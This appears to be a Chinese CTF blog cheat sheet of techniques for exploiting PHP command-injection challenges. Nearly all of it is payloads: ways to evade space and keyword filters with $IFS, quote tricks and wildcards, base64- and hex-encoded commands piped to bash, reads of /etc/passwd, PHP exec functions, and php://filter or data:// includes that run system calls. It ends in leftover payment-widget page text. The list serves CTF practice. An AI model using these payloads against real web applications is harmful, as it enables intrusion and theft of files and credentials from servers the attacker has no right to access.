CTF命令执行的常见姿势

命令执行的常见姿势

命令执行的常见姿势

?c=cat flag.php;

?c=tac flag.php||

?c=tac<fla’'g.php||

?c=tac<fla’'g.php||

tac<fla’'g.php||

?c=tac<fla’'g.php||

?c=tac<fla’'g.php||

?c=tac<fla’'g.php||

c=tac<fla’'g.php||

?c=nl<fla’'g.php||

?c=nl${IFS}fl’'ag.php||

?c=nl${IFS}fl’'ag.php

?c=/bin/c??${IFS}???

?c=system(“cat flag.php”);

?c=echo `ls`;

分隔符和空格被过滤,联合执行命令:

?ip=%0acd%09..%0als =?ip=;cd ..;ls

过滤目录分隔符**/**总结:

1、用反斜杠查看文件夹内容|ls \flag_is_here 或者直接|ls flag_is_here

2、分号同步执行cd和cat命令

127.0.0.1&cd flag_is_here;tac flag_224812813310817.php

竖线被过滤可以用分号代替

黑洞

    system($c." >/dev/null 2>&1");   //黑洞尝试分号绕过
payload:c=tac f*%26%26ls;

空格绕过方式

1.$IFS

2.$IFS$1

3.${IFS} – 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来

结果,加一个{}就固定了变量名,如cat${IFS2}flag.php

4.$IFS$9 – 后面加个$与{}类似,起截断作用,$9是当前系统shell

进程第九个参数持有者,始终为空字符串,如

cat$IFS2$9flag.php

5.< 比如cat<a.tct:表示cat a.txt

6.<> 比如cat<>a.tct:表示cat a.txt

7.{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来

8.%20: 空格的URL编码

9.%09: 需要php环境,如cat%09flag.php

过滤空格常见绕过方式:1.

文件函数绕过:

2.cat–由第一行开始显示内容,并将所有内容输出

3.tac–从最后一行倒序显示内容,并将所有内容输出

4.more– 根据窗口大小,一页一页的现实文件内容

5.**less **和more类似,但其优点可以往前翻页,而且进行可以搜索字符

6.head– 只显示头几行

7.**tail **–只显示最后几行

8.**nl **–类似于cat -n,显示时输出行号

9.tailf– 类似于tail -f

10.**vim **–使用vim工具打开文本

11.**vi **–使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出

12.sort

文件函数绕过:

1.system()

2.passthru()

3.exec()

4.shell_exec()

5.popen()

6.proc_open()

7.pcntl_exec()

8.反引号**`` **同shell_exec()

9.system(“cat /etc/passwd”)<=>“\x73\x79\x73\x74\x65\x6d”("cat

/etc/passwd");

10. <=>

11. (sy.(st).em)(“cat /etc/passwd”);<=>

命令执行函数绕过:

1.**wh\o\ami ** //反斜线绕过

2.who"a"mi //双引号绕过

3.**whoa’m’i ** //单引号绕过

4.**whoam``i ** //反引号绕过

5.echo d2hvYW1p|base64 -d|sh

#base64绕过,其中d2hvYW1p是whoami的base64编码

6.echo d2hvYW1p|base64 -d|bash

#base64绕过,其中d2hvYW1p是whoami的base64编码

7.`echo d2hvYW1p|base64 -d`

//将其base64解码,然后用反引号来执行命令

8.echo 77686F616D69 | xxd -r -p | bash

//hex绕过,其中77686F616D69是whoami的hex编码

9.//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:

10.wh$1oami

11.who$@ami

12.whoa$*mi

过滤关键字段

1.**cat fl[abc]g.php ** //匹配[abc]中的任何一个

2.cat f[a-z]ag.txt //匹配a-z范围的任何字符

3.**cat fla* ** //用*匹配任意

4.a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php//内联执行

5. //正则

6.利用正则:比如要读取etc/passwd

7. cat /???/???

8.cat /???/pass*

9.cat /etc$u/passwd

绕过文件名通配符绕过,绕过重要字段:

1. payload1:c=system(“nl fla???”);

2. payload2:c=system(“nl fla*”);

3. payload3:c=echo `nl fl’'ag.php`;或者c=echo

`nl fl“”ag.php`;

4. payload4:c=echo `nl fl\ag.php`;//转义字符绕

5. payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

6. payload6:c=eval($_GET[1]);&1=system(‘nl flag.php’);

7. payload7:c=awk ‘{printf $0}’ flag.php||

另类操作

1. c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

2. c=include$_GET[1]?>&1=data://text/plain,

3. c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

4、

c=	data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
上面解码是<?php system('cat flag.php');?>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值